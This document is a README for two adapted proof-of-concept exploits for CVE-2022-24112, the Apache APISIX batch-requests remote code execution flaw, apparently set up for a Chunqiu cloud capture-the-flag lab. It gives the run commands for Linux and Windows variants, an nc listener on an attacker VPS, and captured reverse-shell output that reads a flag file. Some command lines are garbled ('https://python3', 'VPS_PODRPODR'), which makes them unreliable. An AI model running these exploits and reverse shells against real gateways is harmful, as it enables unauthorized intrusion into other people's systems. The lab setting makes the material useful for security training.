
CVE-2022-24112_POC
Collected POCs
To set up the Chunqiu Cloud Environment: CVE-2022-24112 target environment, two POCs were modified, slightly adapted from the POCs of M4xSec and twseptian for the Chunqiu Cloud Environment:
Chunqiu Cloud Environment: CVE-2022-24112:
Apache APISIX is a cloud-native microservices API gateway under the Apache Software Foundation. It is implemented based on OpenResty and etcd, featuring dynamic routing and hot-reloading of plugins, suitable for API management in microservice architectures. There is a remote code execution vulnerability in Apache APISIX, which stems from the batch-requests plugin not effectively restricting user batch requests. Attackers can bypass the IP restriction of the Admin API through this vulnerability, easily leading to remote code execution.
Original POCs:
M4xSec: https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112/blob/main/apisix-exploit.py
twseptian: https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
The modified POCs are the two written above, designed for Linux and Windows usage environments respectively:
CVE-2022-24112_Linux_by_twseptian.py
Start listener on VPS: nc -lvvp 18888
Enter the POC directory and run:
Note: When adding data with -t, do not include http:// or , only the domain name and port, as shown below:
https://python3 CVE-2022-24112_Linux_by_twseptian.py -t eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 -L VPS_IP -P VPS_PODRPODR
Check back on the VPS, as follows:
[root@root ~]# nc -lvvp 18888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::18888
Ncat: Listening on 0.0.0.0:18888
Ncat: Connection from x.x.x.x.
Ncat: Connection from x.x.x.x:x.
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
cat /flag
flag{0834f79f-5f40-4389-bce7-c64e969734c4}
CVE-2022-24112_Windows_by_M4xSec.py
Start listener on VPS: nc -lvvp 18888
Enter the POC directory and run:
Note: When adding data, do not include http:// or https://, only the domain name and port, as shown below:
python3 CVE-2022-24112_Windows_by_M4xSec.py eci-eninecsteC2zon6q0xod9n5r7me4ih.cloudeci1.ichunqiu.com:9080 VPS_IP VPS_PODRPODR
Check back on the VPS, as follows:
[root@root ~]# nc -lvvp 18888
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::18888
Ncat: Listening on 0.0.0.0:18888
Ncat: Connection from x.x.x.x.
Ncat: Connection from x.x.x.x:x.
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
cat /flag
flag{0834f79f-5f40-4389-bce7-c64e969734c4}